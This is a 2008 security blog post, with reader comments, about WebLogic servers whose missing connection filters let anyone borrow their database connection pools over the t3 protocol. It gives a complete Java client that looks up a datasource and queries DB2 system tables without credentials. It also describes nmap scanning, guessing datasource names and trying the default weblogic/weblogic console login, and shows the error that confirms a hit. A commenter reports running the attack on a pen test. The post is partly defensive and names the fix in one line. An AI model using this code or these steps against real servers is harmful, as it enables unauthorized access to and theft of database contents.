2008-03-03

Fun With WebLogic Connection Pools- Free database connections

I have found a huge mis-configuration in the several of the WebLogic Servers that I audit. Most applications that are running on WebLogic use something called Database Connection Pools. These are database connections that the WebLogic server makes and the applications configured within WebLogic can use. You configure all these database credentials inside the WebLogic console so that the application doe not need to have access to these credentials to run queries, update, delete, etc. This can be great from a security policy standpoint in that you don't have to have developers being knowledgeable of the production database credentials for the app to function. This is also the root of the problem if the WebLogic server has not enabled connection filters.


WebLogic has a proprietary protocol called t3. This protocol will allow an improperly configured WebLogic instance accept connections from anywhere and any server. This means you can access the database through WebLogic without providing any database credentials. There are only 3 pieces of information that you need to know.


  1. the server name (easy to get).
  2. the port that WebLogic is listening on to accept t3 connections. Sometimes 7001 sometimes something else. I usually do an nmap scan of the server and then try connections over t3 until I get a proper connection or an error that implies i have made the connection but my datasource is incorrect.
  3. Know the datasouce name. This can be hard. Most apps name the datasource something like AppNameData source. If you where looking at a Creditcard application. It could be ccDataSource or CreditCardDatasource or just Creditcard. This can take some trial an error unless =) they have not changed the weblogic console default username and password weblogic/weblogic. The url to the weblogic console is http://yourappserver:7001/console. If this does not yield results then do an nmap scan and try connecting to ports till you get the admin console.

Below is an example of creating a t3 client to connect to WebLogic and then query the systables in a DB2 database. You can modify the code to work with any database you need. As you can see i never provide credentials and i still have access to the database.






import java.util.*;
import java.math.BigDecimal;
import java.sql.*;
import javax.naming.*;
import java.sql.Connection;

public class DataTest
{
public static void main(String[] args)
{
InitialContext ctx = null;
Connection connection = null;
Statement stmt = null;
ResultSet rs = null;
Hashtable ht = null;
String status = null;
String resCode = null;
String retCode = null;
String retMsg = null;
BigDecimal sqlCode = null;
String serverName = "yourservername.com:andPort";
String dataSource = "YourDataSource";

try
{
ht = new Hashtable();
ht.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
ht.put(Context.PROVIDER_URL, "t3://" + serverName);
ctx = new InitialContext(ht);
connection = ((javax.sql.DataSource)ctx.lookup( dataSource )).getConnection();

// check for excessive permissions in db2
String sql = "select name, creator, colcount from sysibm.systables";

//find the username you are conneting with in weblogic
//String sql = "select user,1,1 from sysibm.sysdummy1";

// normal check but you must know the db owner and table name for db2
//String sql = "select col1, col2, col3 from dbowner.dbtableName";




stmt = connection.createStatement();
rs = stmt.executeQuery(sql);
while(rs.next())
System.out.println(rs.getString(1) + " - " + rs.getString(2) + " - " + rs.getString(3));



}
catch(Exception e)
{
e.printStackTrace();
}
finally
{
try
{
if(stmt!=null)
stmt.close();
stmt = null;

if(connection!=null)
connection.close();
connection = null;

if(ctx!=null)
ctx.close();
ctx = null;
}
catch(Exception e)
{
e.printStackTrace();
}
}
}
}

Example of pulling database tables from Eclipse:



here is an example of a good error message from your client. This will let you know that you have been successful in finding a weblogic connection pool but do not have a valid datasource name. Here the invalid datasource name was called testSource.



javax.naming.NameNotFoundException: Unable to resolve 'testSource'. Resolved '' [Root exception is javax.naming.NameNotFoundException: Unable to resolve 'testSource'. Resolved '']; remaining name 'testSource'
at weblogic.rjvm.BasicOutboundRequest.sendReceive(BasicOutboundRequest.java:108)
at weblogic.rmi.cluster.ReplicaAwareRemoteRef.invoke(ReplicaAwareRemoteRef.java:290)
at weblogic.rmi.cluster.ReplicaAwareRemoteRef.invoke(ReplicaAwareRemoteRef.java:247)
at weblogic.jndi.internal.ServerNamingNode_814_WLStub.lookup(Unknown Source)
at weblogic.jndi.internal.WLContextImpl.lookup(WLContextImpl.java:371)
at weblogic.jndi.internal.WLContextImpl.lookup(WLContextImpl.java:359)
at javax.naming.InitialContext.lookup(Unknown Source)
at DataTest.main(DataTest.java:35)
Caused by: javax.naming.NameNotFoundException: Unable to resolve 'testSource'. Resolved ''
at weblogic.jndi.internal.BasicNamingNode.newNameNotFoundException(BasicNamingNode.java:1139)
at weblogic.jndi.internal.BasicNamingNode.lookupHere(BasicNamingNode.java:252)
at weblogic.jndi.internal.ServerNamingNode.lookupHere(ServerNamingNode.java:171)
at weblogic.jndi.internal.BasicNamingNode.lookup(BasicNamingNode.java:206)
at weblogic.jndi.internal.RootNamingNode_WLSkel.invoke(Unknown Source)
at weblogic.rmi.internal.BasicServerRef.invoke(BasicServerRef.java:548)
at weblogic.rmi.cluster.ClusterableServerRef.invoke(ClusterableServerRef.java:224)
at weblogic.rmi.internal.BasicServerRef$1.run(BasicServerRef.java:438)
at weblogic.security.acl.internal.AuthenticatedSubject.doAs(AuthenticatedSubject.java:363)
at weblogic.security.service.SecurityManager.runAs(SecurityManager.java:147)
at weblogic.rmi.internal.BasicServerRef.handleRequest(BasicServerRef.java:434)
at weblogic.rmi.internal.BasicServerRef.access$300(BasicServerRef.java:57)
at weblogic.rmi.internal.BasicServerRef$BasicExecuteRequest.run(BasicServerRef.java:965)
at weblogic.work.ExecuteThread.execute(ExecuteThread.java:209)
at weblogic.work.ExecuteThread.run(ExecuteThread.java:181)



This problem is easy to fix. Just enable connection filers in your weblogic console and your done!.
http://edocs.bea.com/wls/docs81/secmanage/domain.html












Slashdot Slashdot It!

8 comments:

Chris Gatford said...

unrelated question where did you get that great banner pic of the internet ? PS: Good material thanks.

ascetik said...

actually, i don't remember the site that i found it on. I just did a Google image search for 'internet'. I found quite a few that where cool but i liked this one the best.

ABC said...

Let's say a weblogic server is deployed in an environment based on 3-tier architecture. This server is placed in the Application tier which can only be accessed via another web server in the Presentation tier. In between the tiers are firewalls. Clients can only access the weblogic server through presentation tier. Won't that greatly reduced the needed for the "connection filters" ?

ascetik said...

From outside attacks ... yes. from insiders no. And to be fair this is really an attack on your middle tier that unless you have some horribly miss configured architecture should not be accessible outside the perimeter. You should also compliment the connection filters with an additional app id and password which I left out of my recommendation before. This app id and password is not the same as your database credentials.

Now if you have this middle tier in a extremely locked down network where access is highly controlled (the |DMZ|-|ZMD|-|corp network| model) then you may determine that this is overkill. I've been given this example before. The problem is that the app owner is relying on technology that is really outside of their control and has to trust it. I leave that to you to determine the risk but for myself if i don't control it then i cannot fully trust it and connection filters are trivial to implement.

Mouad Abouhali (m00dy) said...

Hello,

During a pen test i had to deal with a weblogic server with a DB2 back end. I thought that was the real case to test your code.

Unfortunately, when compiling your sample i had the following error codde:

//-----------Stack error
javax.naming.NoInitialContextException: Cannot instantiate class: weblogic.jndi.WLInitialContextFactory [Root exception is java.lang.ClassNotFoundException: weblogic.jndi.WLInitialContextFactory]


I think that i missed something and after some googling it seemed to me that i have to indicate weblogic.jar file in the classpath. But where do i get the weblogic.jar file? should i install weblogic server?

Please help me.

ascetik said...

Yeah.. you need both weblogic.jar and xbean.jar. You get these jars by downloading the whole weblogic application server from oracle.( I know its terrible. ) You can download the server here.
http://www.oracle.com/technology/software/products/database/index.html

This has worked for me on versions 10g and 9.2. I 'should' work on 8 as well but you may need to download the weblogic 8 server.

once installed... the jars are in the following file structure:
[BEA HOME]\weblogic92\server\lib\

I copied these files into a directory named 'weblogic92' in the same directory of my class files. I then ran the following:
java -cp .\weblogic92\*;. DataTest

Let me know if you have any trouble. I have a much better weblogic test tool that I created that i should publish. Hopefully i'll have some time to do that in the next few weeks.

Mouad Abouhali (m00dy) said...

Hello,

Firstly I would to thank you for helping me to resolve the problem described previously. Sorry for being little bit late to give a sign (the pen test was too long).

So, in case of installing a Weblogic server to gather the two jar files (weblogic and xbean) I’ve retrieved them from the Weblogic target (cause I’ve found a weak account on it).

then i recompiled the whole program with no error. But, the Weblogic configuration did not contain a "DataStore". In consequence, and for demonstration reason i created a "DataStore" on the target.

Carrying out the program against the Weblogic was just tremendous!!! It worked perfectly.

The test that I’ve just finished this morning is realizing the same attack against a Weblogic connected to an Oracle Server trough a "DataSore" and i could confirm that works too. For that purpose, I’ve done some minor modification to your code.

I'll send to you a little paper that summarizes all what I’ve said as soon possible. Thanks to you.

ascetik said...

Hey M00dy,
Glad i could help you. You were going to send me a paper. I'd like to see it when you get a chance.